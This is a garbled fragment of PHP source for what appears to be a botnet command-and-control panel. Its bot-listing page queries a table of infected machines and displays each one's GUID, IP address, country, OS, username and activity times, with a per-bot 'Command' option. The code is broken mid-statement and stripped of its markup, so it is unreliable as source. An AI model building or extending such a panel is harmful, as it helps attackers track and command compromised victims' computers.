Search
Country:
GUID:
IPv4:
Order By
bindValue(++$i, $country, PDO::PARAM_STR); } if($_GET['guids'] != '') { foreach($guid as $uhid) $query->bindValue(++$i, $uhid, PDO::PARAM_STR); } if($_GET['ips'] != '') { foreach($ips as $ip) $query->bindValue(++$i, $ip, PDO::PARAM_INT); } } $query = $db->prepare('SELECT COUNT(*) FROM bots WHERE 1 = 1'.$sqlWhere); $i = 0; bind_values(); $query->execute(); $total = $query->fetchColumn(); if($total == 0) echo('
No bots found
'); else { get_pag_vars($total, $pages, $page, $offset); $query = $db->prepare('SELECT * FROM bots WHERE 1 = 1'.$sqlWhere.' ORDER BY '.($_GET['order'] == 1 ? 'first_seen' : 'last_seen').' '.($_GET['dir'] == 1 ? 'ASC' : 'DESC').' LIMIT ? OFFSET ?'); $i = 0; bind_values(); $query->bindValue(++$i, $CONST_PAGE_LIMIT, PDO::PARAM_INT); $query->bindValue(++$i, $offset, PDO::PARAM_INT); $query->execute(); ?>
Bots
fetchAll(); $geoip = new GeoIP(); foreach($rows as $row) { ?> '); echo_pag_form($page, $pages); echo(''); } } ui_content_end(); ui_end(); ?>
GUIDIPv4CountryOSUsernameLast SeenFirst SeenOptions
('.$geoip->GEOIP_COUNTRY_NAMES[$geoip->GEOIP_COUNTRY_CODE_TO_NUMBER[$row['country']]].')'); ?> '.time_since($row['last_seen']).''); ?> '.time_since($row['first_seen']).''); ?> Command